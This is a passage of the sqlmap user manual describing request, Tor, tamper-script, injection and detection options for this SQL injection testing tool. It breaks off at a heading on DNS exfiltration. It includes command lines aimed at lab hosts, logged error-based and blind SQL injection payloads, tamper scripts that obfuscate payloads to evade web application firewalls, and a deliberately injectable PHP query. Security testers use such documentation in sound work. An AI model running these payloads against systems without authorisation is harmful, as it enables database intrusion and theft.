Moreover, by providing the switch --random-agent, sqlmap will randomly select a User-Agent from the ./txt/user-agents.txt textual file and use it for all HTTP requests within the session.

Some sites perform a server-side check of HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

Note that also the HTTP User-Agent header is tested against SQL injection if the --level is set to 3or above. Read below for details.

HTTP Host header

Option: --host

You can manually set HTTP Host header value. By default HTTP Host header is parsed from a provided target URL.

Note that also the HTTP Host header is tested against SQL injection if the --level is set to 5. Read below for details.

HTTP Referer header

Option: --referer

It is possible to fake the HTTP Referer header value. By default no HTTP Referer header is sent in HTTP requests if not explicitly set.

Note that also the HTTP Referer header is tested against SQL injection if the --level is set to 3 or above. Read below for details.

Extra HTTP headers

Option: --headers

It is possible to provide extra HTTP headers by setting the option --headers. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. You can take a look at the sample sqlmap.conf file for such case.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP protocol authentication

Options: --auth-type and --auth-cred

These options can be used to specify which HTTP protocol authentication back-end web server implements and the valid credentials to be used to perform all HTTP requests to the target application.

The three supported HTTP protocol authentication mechanisms are:

  • Basic
  • Digest
  • NTLM

While the credentials’ syntax is username:password.

Example of valid syntax:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP protocol private key authentication

Option: --auth-file

This option should be used in cases when the web server requires proper client-side certificate and a private key for authentication. Supplied value should be a PEM formatted key_file that contains your certificate and a private key.

Example of generation of a key_file.txt that is compatible with --auth-file:

$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &amp;&amp;\
cat auth_file.key auth_file.pem &gt; auth_file.txt &amp;&amp; cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to 'auth_file.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----

Ignore HTTP error 401 (Unauthorized)

Switch --ignore-401

In case that you want to test the site that occasionally returns HTTP error 401 (Unauthorized), while you want to ignore it and continue tests without providing proper credentials, you can use switch --ignore-401

HTTP(S) proxy

Options and switch: --proxy, --proxy-cred, --proxy-file and --ignore-proxy

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL with option --proxy. The syntax of HTTP(S) proxy value is http://url:port.

If the HTTP(S) proxy requires authentication, you can provide the credentials in the format username:password to the option --proxy-cred.

In case that you want to use (disposable) proxy list, skipping to the next proxy on any sign of a connection problem (e.g. blocking of invasive IP address), option --proxy-file can be used by providing filename of a file containing bulk list of proxies.

Switch --ignore-proxy should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting.

Tor anonymity network

Switches and options: --tor, --tor-port, --tor-type and --check-tor

If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained in Tor installation guides. Then you can use a switch --tor and sqlmap will try to automatically set Tor proxy connection settings.

In case that you want to manually set the type and port of used Tor proxy, you can do it with options --tor-type and --tor-port (e.g. --tor-type=SOCKS5 --tor-port 9050).

You are strongly advised to use --check-tor occasionally to be sure that everything was set up properly. There are cases when Tor bundles (e.g. Vidalia) come misconfigured (or reset previously set configuration) giving you a false sense of anonymity. Using this switch sqlmap will check that everything works as expected by sending a single request to an official Are you using Tor? page before any target requests. In case that check fails, sqlmap will warn you and abruptly exit.

Delay between each HTTP request

Option: --delay

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance 0.5 means half a second. By default, no delay is set.

Seconds to wait before timeout connection

Option: --timeout

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default 30 seconds are set.

Maximum number of retries when the HTTP connection timeouts

Option: --retries

It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to three times.

Randomly change value for given parameter(s)

Option: --randomize

It is possible to specify parameter names whose values you want to be randomly changed during each request. Length and type are being kept according to provided original values.

Filtering targets from provided proxy log using regular expression

Option: --scope

Rather than using all hosts parsed from provided logs with option -l, you can specify valid Python regular expression to be used for filtering desired ones.

Example of valid syntax:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

Avoid your session to be destroyed after too many unsuccessful requests

Options: --safe-url, --safe-post, --safe-req and --safe-freq

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide any (or combination of) option:

  • --safe-url: URL address to visit frequently during testing.
  • --safe-post: HTTP POST data to send to a given safe URL address.
  • --safe-req: Load and use safe HTTP request from a file.
  • --safe-freq: Test requests between two visits to a given safe location.

This way, sqlmap will visit every a predefined number of requests a certain safe URL without performing any kind of injection against it.

Turn off URL encoding of parameter values

Switch: --skip-urlencode

Depending on parameter placement (e.g. GET) its value could be URL encoded by default. In some cases, back-end web servers do not follow RFC standards and require values to be send in their raw non-encoded form. Use --skip-urlencode in those kind of cases.

Bypass anti-CSRF protection

Options: --csrf-token and --csrf-url

Lots of sites incorporate anti-CSRF protection in form of tokens, hidden field values that are randomly set during each page response. sqlmap will automatically try to recognize and bypass that kind of protection, but there are options --csrf-token and --csrf-url that can be used to further fine tune it. Option --csrf-token can be used to set the name of the hidden value that contains the randomized token. This is useful in cases when web sites use non-standard names for such fields. Option --csrf-url can be used for retrieval of the token value from arbitrary URL address. This is useful if the vulnerable target URL doesn’t contain the necessary token value in the first place, but it is required to extract it from some other location.

Force usage of SSL/HTTPS

Switch: --force-ssl

In case that user wants to force usage of SSL/HTTPS requests toward the target, he can use this switch. This can be useful in cases when urls are being collected by using option --crawl or when Burp log is being provided with option -l.

Evaluate custom python code during each request

Option: --eval

In case that user wants to change (or add new) parameter values, most probably because of some known dependency, he can provide to sqlmap a custom python code with option --eval that will be evaluated just before each request.

For example:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&amp;hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Each request of such run will re-evaluate value of GET parameter hash to contain a fresh MD5 hash digest for current value of parameter id.

Optimization

These switches can be used to optimize the performance of sqlmap.

Bundle optimization

Switch: -o

This switch is an alias that implicitly sets the following options and switches:

  • --keep-alive
  • --null-connection
  • --threads=3 if not set to a higher value.

Read below for details about each switch.

Output prediction

Switch: --predict-output

This switch is used in inference algorithm for sequential statistical prediction of characters of value being retrieved. Statistical table with the most promising character values is being built based on items given in txt/common-outputs.txt combined with the knowledge of current enumeration used. In case that the value can be found among the common output values, as the process progresses, subsequent character tables are being narrowed more and more. If used in combination with retrieval of common DBMS entities, as with system table names and privileges, speed up is significant. Of course, you can edit the common outputs file according to your needs if, for instance, you notice common patterns in database table names or similar.

Note that this switch is not compatible with --threads switch.

HTTP Keep-Alive

Switch: --keep-alive

This switch instructs sqlmap to use persistent HTTP(s) connections.

Note that this switch is incompatible with --proxy switch.

HTTP NULL connection

Switch: --null-connection

There are special HTTP request types which can be used to retrieve HTTP response’s size without getting the HTTP body. This knowledge can be used in blind injection technique to distinguish Truefrom False responses. When this switch is provided, sqlmap will try to test and exploit two different NULL connection techniques: Range and HEAD. If any of these is supported by the target web server, speed up will come from the obvious saving of used bandwidth.

These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection – Take 2 (Bandwidth).

Note that this switch is incompatible with switch --text-only.

Concurrent HTTP(S) requests

Option: --threads

It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on multi-threading concept and inherits both its pro and its cons.

This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved – it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.

The maximum number of concurrent requests is set to 10 for performance and site reliability reasons.

Note that this option is not compatible with switch --predict-output.

Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.

Testable parameter(s)

Options: -p, --skip and --param-exclude

By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on value of --level too.

For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p "id,user-agent".

In case that user wants to exclude certain parameters from testing, he can use option --skip. That is especially useful in cases when you want to use higher value for --level and test all available parameters excluding some of HTTP headers normally being tested.

For instance, to skip testing for HTTP header User-Agent and HTTP header Referer at --level=5, provide --skip="user-agent,referer".

There is also a possibility to exclude certain parameters from testing based on a regular expression run on their names. In those kind of cases user can use option --param-exclude.

For instance, to skip testing for parameters which contain string token or session in their names, provide --param-exclude="token|session".

URI injection point

There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (*) (Note: Havij style %INJECT HERE% is also supported) after each URI point that you want sqlmap to test for and exploit a SQL injection.

This is particularly useful when, for instance, Apache web server’s mod_rewrite module is in use or other similar technologies.

An example of valid command line would be:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

Arbitrary injection point

Similar to URI injection point, asterisk (*) (Note: Havij style %INJECT HERE% is also supported) can also be used to point to the arbitrary injection point inside GET, POST or HTTP headers. Injection point can be specified by marking it inside the GET parameter value(s) provided with option -u, POST parameter value(s) provided with option --data, HTTP header value(s) provided with options -H, --headers, --user-agent, --referer and/or --cookie, or at generic place inside HTTP request loaded from file with option -r.

An example of valid command line would be:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

Force the DBMS

Option: --dbms

By default sqlmap automatically detects the web application’s back-end database management system. sqlmap fully supports the following database management systems:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • HSQLDB
  • Informix

If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. postgresql). For MySQL and Microsoft SQL Server provide them respectively in the form MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for instance 5.0 for MySQL and 2005 for Microsoft SQL Server.

In case you provide --fingerprint together with --dbms, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.

Force the database management system operating system name

Option: --os

By default sqlmap automatically detects the web application’s back-end database management system underlying operating system when this information is a dependence of any other provided switch or option. At the moment the fully supported operating systems are:

  • Linux
  • Windows

It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

Force usage of big numbers for invalidating values

Switch: --invalid-bignum

In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of large integer values to fulfill the same goal (e.g. id=99999999).

Force usage of logical operations for invalidating values

Switch: --invalid-logical

In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of boolean operations to fulfill the same goal (e.g. id=13 AND 18=19).

Force usage of random strings for invalidating values

Switch: --invalid-string

In cases when sqlmap needs to invalidate original parameter value (e.g. id=13) it uses classical negation (e.g. id=-13). With this switch it is possible to force the usage of random strings to fulfill the same goal (e.g. id=akewmc).

Turn off payload casting mechanism

Switch: --no-cast

When retrieving results, sqlmap uses a mechanism where all entries are being casted to string type and replaced with a whitespace character in case of NULL values. That is being made to prevent any erroneous states (e.g. concatenation of NULL values with string values) and to easy the data retrieval process itself. Nevertheless, there are reported cases (e.g. older versions of MySQL DBMS) where this mechanism needed to be turned-off (using this switch) because of problems with data retrieval itself (e.g. None values are returned back).

Turn off string escaping mechanism

Switch: --no-escape

In cases when sqlmap needs to use (single-quote delimited) string values inside payloads (e.g. SELECT 'foobar'), those values are automatically being escaped (e.g. SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)). That is being done because of two things: obfuscation of payload content and preventing potential problems with query escaping mechanisms (e.g. magic_quotes and/or mysql_real_escape_string) at the back-end server. User can use this switch to turn it off (e.g. to reduce payload size).

Custom injection payload

Options: --prefix and --suffix

In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.

Example of vulnerable source code:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

To detect and exploit this SQL injection, you can either let sqlmap detect the boundaries (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own.

For example:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

This will result in all sqlmap requests to end up in a query as follows:

$query = "SELECT * FROM users WHERE id=('1') &lt;PAYLOAD&gt; AND ('abc'='abc') LIMIT 0, 1";

Which makes the query syntactically correct.

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested JOIN queries for instance.

Tamper injection data

Option: --tamper

sqlmap itself does no obfuscation of the payload sent, except for strings between single quotes replaced by their CHAR()-alike representation.

This option can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.

To take advantage of this option, provide sqlmap with a comma-separated list of tamper scripts and this will process the payload and return it transformed. You can define your own tamper scripts, use sqlmap ones from the tamper/ folder or edit them as long as you concatenate them comma-separated as value of the option --tamper (e.g. --tamper="between,randomcase").

The format of a valid tamper script is as follows:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

You can check valid and usable tamper scripts in the tamper/ directory.

Example against a MySQL target assuming that > character, spaces and capital SELECT string are banned:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL &gt;= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[...]

Detection

These options can be used to customize the detection phase.

Level

Option: --level

This option requires an argument which specifies the level of tests to perform. There are five levels. The default value is 1 where limited number of tests (requests) are performed. Vice versa, level 5 will test verbosely for a much larger number of payloads and boundaries (as in pair of SQL payload prefix and suffix). The payloads used by sqlmap are specified in the textual file xml/payloads.xml. Following the instructions on top of the file, if sqlmap misses an injection, you should be able to add your own payload(s) to test for too!

Not only this option affects which payload sqlmap tries, but also which injection points are taken in exam: GET and POST parameters are always tested, HTTP Cookie header values are tested from level 2 and HTTP User-Agent/Referer headers’ value is tested from level 3.

All in all, the harder it is to detect a SQL injection, the higher the --level must be set.

It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able to detect a certain injection point.

Risk

Option: --risk

This option requires an argument which specifies the risk of tests to perform. There are three risk values. The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL injection tests.

In some instances, like a SQL injection in an UPDATE statement, injecting an OR-based payload can lead to an update of all the entries of the table, which is certainly not what the attacker wants. For this reason and others this option has been introduced: the user has control over which payloads get tested, the user can arbitrarily choose to use also potentially dangerous ones. As per the previous option, the payloads used by sqlmap are specified in the textual file xml/payloads.xml and you are free to edit and add your owns.

Page comparison

Options: --string, --not-string, --regexp and --code

By default the distinction of a True query from a False one (rough concept behind boolean-based blind SQL injection vulnerabilities) is done by comparing the injected requests page content with the original not injected page content. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisement banner or any other part of the HTML which is rendered dynamically and might change in time not only consequently to user’s input. To bypass this limit, sqlmap tries hard to identify these snippets of the response bodies and deal accordingly. Sometimes it may fail, that is why the user can provide a string (--string option) which should be present on original page (though it is not a requirement) and on all True injected query pages, but that it is not on the False ones. Instead of static string, the user can provide a regular expression (--regexp option). Alternatively, user can provide a string (--not-string option) which is not present on original page and not on all True injected query pages, but appears always on False ones.

Such data is easy for an user to retrieve, simply try to inject into the affected parameter an invalid value and compare manually the original (not injected) page content with the injected wrong page content. This way the distinction will be based upon string presence or regular expression match.

In cases when user knows that the distinction of a True query from a False one can be done using HTTP code (e.g. 200 for True and 401 for False), he can provide that information to sqlmap (e.g. --code=200).

Switches: --text-only and --titles

In cases when user knows that the distinction of a True query from a False one can be done using HTML title (e.g. Welcome for True and Forbidden for False), he can turn turn on title-based comparison using switch --titles.

In cases with lot of active content (e.g. scripts, embeds, etc.) in the HTTP responses’ body, you can filter pages (switch --text-only) just for their textual content. This way, in a good number of cases, you can automatically tune the detection engine.

Techniques

These options can be used to tweak testing of specific SQL injection techniques.

SQL injection techniques to test for

Option: --technique

This option can be used to specify which SQL injection type to test for. By default sqlmap tests for alltypes/techniques it supports.

In certain situations you may want to test only for one or few specific types of SQL injection thought and this is where this option comes into play.

This option requires an argument. Such argument is a string composed by any combination of B, E, U, S, T and Q characters where each letter stands for a different technique:

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries

For instance, you can provide ES if you want to test for and exploit error-based and stacked queries SQL injection types only. The default value is BEUSTQ.

Note that the string must include stacked queries technique letter, S, when you want to access the file system, takeover the operating system or access Windows registry hives.

Seconds to delay the DBMS response for time-based blind SQL injection

Option: --time-sec

It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the --time-sec option followed by an integer. By default it’s value is set to 5 seconds.

Number of columns in UNION query SQL injection

Option: --union-cols

By default sqlmap tests for UNION query SQL injection technique using 1 to 10 columns. However, this range can be increased up to 50 columns by providing an higher --level value. See the relevant paragraph for more details.

You can manually tell sqlmap to test for this type of SQL injection with a specific range of columns by providing the tool with the option --union-cols followed by a range of integers. For instance, 12-16 means tests for UNION query SQL injection by using 12 up to 16 columns.

Character to use to test for UNION query SQL injection

Option: --union-char

By default sqlmap tests for UNION query SQL injection technique using NULL character. However, by providing a higher --level value sqlmap will performs tests also with a random number because there are some corner cases where UNION query tests with NULL fail, whereas with a random integer they succeed.

You can manually tell sqlmap to test for this type of SQL injection with a specific character by using option --union-char with desired character value (e.g. --union-char 123).

Table to use in FROM part of UNION query SQL injection

Option: --union-from

In some UNION query SQL injection cases there is a need to enforce the usage of valid and accessible table name in FROM clause. For example, Microsoft Access requires usage of such table. Without providing one UNION query SQL injection won’t be able to perform correctly (e.g. --union-from=users).

DNS exfiltration attack

Option: --dns-domain

